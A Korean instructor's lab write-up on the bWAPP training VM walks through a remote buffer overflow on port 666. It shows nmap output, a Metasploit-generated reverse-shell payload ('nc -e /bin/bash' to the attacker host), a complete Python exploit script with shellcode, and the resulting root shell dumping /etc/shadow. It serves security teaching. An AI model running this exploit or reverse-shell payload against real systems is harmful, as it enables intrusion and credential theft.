정보보안(구버전)/ bWAPP 2019. 2. 25. 16:07

웹 해킹 bWAPP - 103. A9 - Using Known Vulnerable Components - Buffer Overflow(Remote)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Using Known Vulnerable Components

 

 - OWASP Top10 A9 - 알려진 취약점이 있는 구성 요소 사용

 - 슈퍼유저 권한으로 운영되는 취약한 라이브러리/프레임워크, 기타 SW 모듈로 인한 데이터 유실 및 서버 권한 획득이

   가능한 취약점이다.

 

 

 

2. BOF(Buffer Overflow) 관련 용어

 

 - Buffer : 시스템 연산작업에 필요한 데이터를 일시적으로 메모리 상에 저장하는 공간
 - Function : 어플리케이션 실행시 가능 먼저 실행되는 함수, 하나의 Function는 여러 개의 Function을 호출해서 사용 가능
 - Return 주소 : 실행 중인 Function이 종료되면 다른 Function을 실행할 수 있도록 참조하는 주소
 - Stack 영역 : Function 수행과 Return 주소 정보를 관리하는 로컬 저장소

 

 

버퍼 오버플로우

 

 

3. Buffer Overflow(Local)

 

 - Function 수행 중 버퍼의 양보다 입력값이 클 경우, 기존의 리턴 값이 덮어쓰기가 되기 때문에 어플리케이션이

   중지되거나, 엉뚱한 리턴값을 참조하여 다른 위치로 이동해버린다.

 

 - 그렇기 때문에 공격자는 임의의 위치에 공격 코드 값을 삽입하고, 리턴 주소 값에 공격 코드값이 있는 주소을

   삽입하여 오버플로우를 발생시켜 악의적인 코드가 실행되는 취약점이 발생한다.

 

 

 

4. Using Known Vulnerable Components - Buffer Overflow(Remote)

 

 - 이 시나리오는 bWAPP 포트번호 666 취약점과 BoF를 이용하여 리버스 쉘을 통해서 root 권한을 획득하는 내용이다.

 

 

  

Ex1) Using Known Vulnerable Components - Buffer Overflow(Remote)

 

 

보안 레벨 선택 및 시나리오 선택

 

 

 

네트워크 서비스 중에 취약점있고 이를 이용하여 BoF를 실시하라는 내용 확인

 

 

 

'nmap'을 이용하여 bWAPP 스캔 실시

root@kali:~# nmap -sS -sV 192.168.20.205

 

Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-27 20:10 KST
Nmap scan report for www.bwapphttpslow.com (192.168.20.205)
Host is up (0.000077s latency).
Not shown: 983 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp   open  smtp        Postfix smtpd
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
443/tcp  open  ssl/http    Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  shell?
666/tcp  open  doom?
3306/tcp open  mysql       MySQL 5.0.96-0ubuntu3
5901/tcp open  vnc         VNC (protocol 3.8)
6001/tcp open  X11         (access denied)
8080/tcp open  http        nginx 1.4.0
8443/tcp open  ssl/http    nginx 1.4.0
9080/tcp open  http        lighttpd 1.4.19

~ 중간 생략 ~

 

 

 

 

포트 번호 666으로 텔넷 접속 및 'iron'으로 로그인 실시 -> 영화 매칭 정보 확인

root@kali:~# telnet 192.168.20.205 666
Trying 192.168.20.205...
Connected to 192.168.20.205.
Escape character is '^]'.
iron
*** bWAPP Movie Service ***
Matching movies: 1
Iron Man:2008:Tony Stark:action:tt0371746
Connection closed by foreign host.
root@kali:~# 

 

 

 

 메타스플로잇을 이용하여 BoF Payload 생성

root@kali:~# msfconsole -q

 

msf > use linux/x86/exec


msf payload(linux/x86/exec) > set cmd nc -e /bin/bash 192.168.20.50 4444
cmd => nc -e /bin/bash 192.168.20.50 4444


msf payload(linux/x86/exec) > generate -b '\x00' -e x86/opt_sub -t raw -f remote_bof.txt
[*] Writing 317 bytes to remote_bof.txt...


msf payload(linux/x86/exec) > quit
root@kali:~#
root@kali:~# ls -l remote_bof.txt
-rw-r--r-- 1 root root 317  2월 28 10:44 remote_bof.txt

root@kali:~#

 

 

 

103-0. remote_bof ASCII 16진수 변환 명령어.txt

Payload ACSII 16진수 변환 실시

root@kali:~# { echo -n \'; cat remote_bof.txt; echo -n \'; } | perl -pe's/(.)/sprintf("%%%02X", ord($1))/seg'

 

%27%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27


root@kali:~#

 

 

 

103-1. 'remote_bof.py' 설정 내용.txt

Payload 배열을 위한 'remote_bof.py' 파일 생성

 

root@kali:~# vi remote_bof.py

import socket

 

A354 = '\x90' * 354
ret = '\xa7\x8f\x04\x08'
shellcode = '\x54\x58\x2D\x79\xFC\xFD\xFD\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x5C\x25\x01\x01\x01\x01\x25\x02\x02\x02\x02\x2D\x75\x1C\x30\x7D\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x53\xDF\x74\x2B\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x12\xCA\x20\x1D\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xEE\x03\xFD\x01\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xF8\xF3\x04\xFC\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xFB\x03\xFE\xFE\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xC4\xC7\x0B\xFE\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x03\x37\xBC\xCD\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x4C\xFE\xFD\xF5\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xBB\x0C\x33\x02\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x61\x1E\x2B\xF5\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x1B\xAB\x15\x48\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x7F\xE7\x77\x98\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xF8\x66\x04\x58\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x7F\x95\x36\xBA\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x7D\x39\xCA\xE7\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x0E\x92\x0E\x21\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xC6\x06\xE6\x58\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50'

 

payload = A354 + ret + shellcode

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\nSending evil payload..."
s.connect(('192.168.20.205',666))
s.send(payload)
data = s.recv(1024)
s.close()

 

:wq! 

 

 

 

칼리에서 리버스 쉘 Listen 상태 실시

root@kali:~# nc -n -v -l -p 4444

listening on [any] 4444 ...

 

 

 

 

'remote_bof.py' BoF 실행

root@kali:~# python remote_bof.py

Sending evil payload...

 

 

 

 

칼리에서 리버스 쉘 연결 상태  및 Root 권한 확인

root@kali:~# nc -n -v -l -p 4444
listening on [any] 4444 ...
connect to [192.168.20.50] from (UNKNOWN) [192.168.20.205] 36032

 

whoami
root

 

pwd
/

 

id
uid=0(root) gid=0(root)

 

python -c 'import pty;pty.spawn("/bin/bash")'


root@bee-box:/#

root@bee-box:/# cat /etc/shadow
cat /etc/shadow
root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7:::
daemon:*:13991:0:99999:7:::
bin:*:13991:0:99999:7:::


~ 중간 생략 ~


root@bee-box:/# (Ctrl+c)
root@kali:~#

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 103. A9 - bWAPP Using Known Vulnerable Components - Buffer Overflow(Remote)


https://youtu.be/9NOe1XSkdJ8



Posted by 김정우 강사(카카오톡 : kim10322)
,


Q